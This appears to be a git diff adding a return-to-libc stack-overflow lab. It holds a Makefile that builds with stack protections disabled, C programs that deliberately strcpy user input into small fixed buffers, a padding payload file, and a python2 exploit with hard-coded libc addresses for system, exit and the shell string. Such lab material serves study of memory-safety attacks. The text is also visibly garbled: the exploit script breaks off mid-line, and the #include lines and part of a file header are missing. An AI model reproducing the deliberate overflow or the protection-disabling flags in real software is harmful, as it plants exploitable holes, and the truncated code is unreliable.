diff --git a/return-over-pointer/Makefile b/return-over-pointer/Makefile new file mode 100644 index 0000000..81fa15e --- /dev/null +++ b/return-over-pointer/Makefile @@ -0,0 +1,11 @@ +rop: + gcc -ggdb -z execstack -fno-stack-protector -mpreferred-stack-boundary=3 -o rop rop.c + +rop32: + gcc -ggdb -m32 -z execstack -fno-stack-protector -mpreferred-stack-boundary=3 -o rop_32 rop.c + +vuln: + gcc -ggdb -z execstack -fno-stack-protector -mpreferred-stack-boundary=3 -o vuln vuln.c + +vuln32: + gcc -ggdb -m32 -z execstack -fno-stack-protector -mpreferred-stack-boundary=3 -o vuln_32 vuln.c diff --git a/return-over-pointer/exploit/e1 b/return-over-pointer/exploit/e1 new file mode 100644 index 0000000..5c7e137 --- /dev/null +++ b/return-over-pointer/exploit/e1 @@ -0,0 +1 @@ +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ diff --git a/return-over-pointer/exploit/exploit_32.py b/return-over-pointer/exploit/exploit_32.py new file mode 100644 index 0000000..0dc269f --- /dev/null +++ b/return-over-pointer/exploit/exploit_32.py @@ -0,0 +1,11 @@ +#! /usr/bin/python2 +import struct +system=0xf7dcf7b0 +exit=0xf7dbec40 +sh=0xf7f38faa +payload="" +payload+="A"*140 +payload+=struct.pack(" +#include +#include + +void rop(char *s){ + char buffer[128]; + strcpy(buffer, s); +} + +int main(int argc, char **argv){ + if(argc == 1){ + printf("No Arguments found\n"); + exit(0); + } + rop(argv[1]); + printf("Arguments: %s\nEXIT\n",argv[1]); +} diff --git a/return-over-pointer/rop_32 b/return-over-pointer/rop_32 new file mode 100644 index 0000000..9ceef8e Binary files /dev/null and b/return-over-pointer/rop_32 differ diff --git a/return-over-pointer/vuln.c b/return-over-pointer/vuln.c new file mode 100644 index 0000000..e7c003c --- /dev/null +++ b/return-over-pointer/vuln.c @@ -0,0 +1,17 @@ +#include +#include +#include + +void rop(char *s){ + char buffer[8]; + strcpy(buffer, s); +} + +int main(int argc, char **argv){ + if(argc == 1){ + printf("No Arguments found\n"); + exit(0); + } + rop(argv[1]); + printf("Arguments: %s\nEXIT\n",argv[1]); +}